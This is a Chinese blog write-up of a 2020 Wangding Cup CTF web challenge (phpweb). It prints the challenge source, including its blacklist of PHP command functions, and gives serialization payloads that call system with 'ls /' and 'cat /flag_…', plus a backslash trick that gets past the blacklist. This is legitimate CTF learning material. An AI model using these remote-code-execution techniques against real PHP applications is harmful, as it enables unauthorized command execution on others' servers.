【原创】记一次ctf实战—— 2020-网鼎杯-朱雀组-Web-phpweb

方法一

懵逼吧,像这种能看见字的差不多就不用域名爆破了

并且这东西还一直在跳烦死了

日常抓包

date是一个函数,后面的p应该是它的参数

知道了可以传参

利用file_get_contents()参数我们可以把源代码调来

index.php

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
      "escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
      "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
      "array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
    );
    function gettime($func, $p) {
      $result = call_user_func($func, $p);
      $a= gettype($result);
      if ($a == "string") {
        return $result;
      } else {
        return "";
      }
    }
    class Test {
      var $p = "Y-m-d h:i:s a";
      var $func = "date";
      function __destruct() {
        if ($this->func != "") {
          echo gettime($this->func, $this->p);
        }
      }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
    if ($func != null) {
      $func = strtolower($func);
      if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
      }else {
        die("Hacker...");
      }
    }
  ?>

我们审计一下发现禁用了我们常用的危险函数

绕过这里我们可以构建序列化

当unserialize函数的参数被用户控制时就会形成反序列化漏洞

首先我们先查看目录

<?php
class Test{
    var $p = "ls /";
    var $func = "system";
}
$c = new Test();#实例化对象
echo serialize($c);#序列化对象或数组,并返回一个字符串。
?>

发现flag用cat进行打开

<?php
class Test{
    var $p = "cat /flag_977122963";
    var $func = "system";
}
$c = new Test();#实例化对象
echo serialize($c);#序列化对象或数组,并返回一个字符串。
?>

方法二

我们审计过后发现还有一种捷径 \

因为它是通过黑名单绕反斜杠也会被当作一个字符

我们用system试一试

看来是可以的,直接获取flag

更深层次的讲解:https://www.bilibili.com/video/av838348304/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇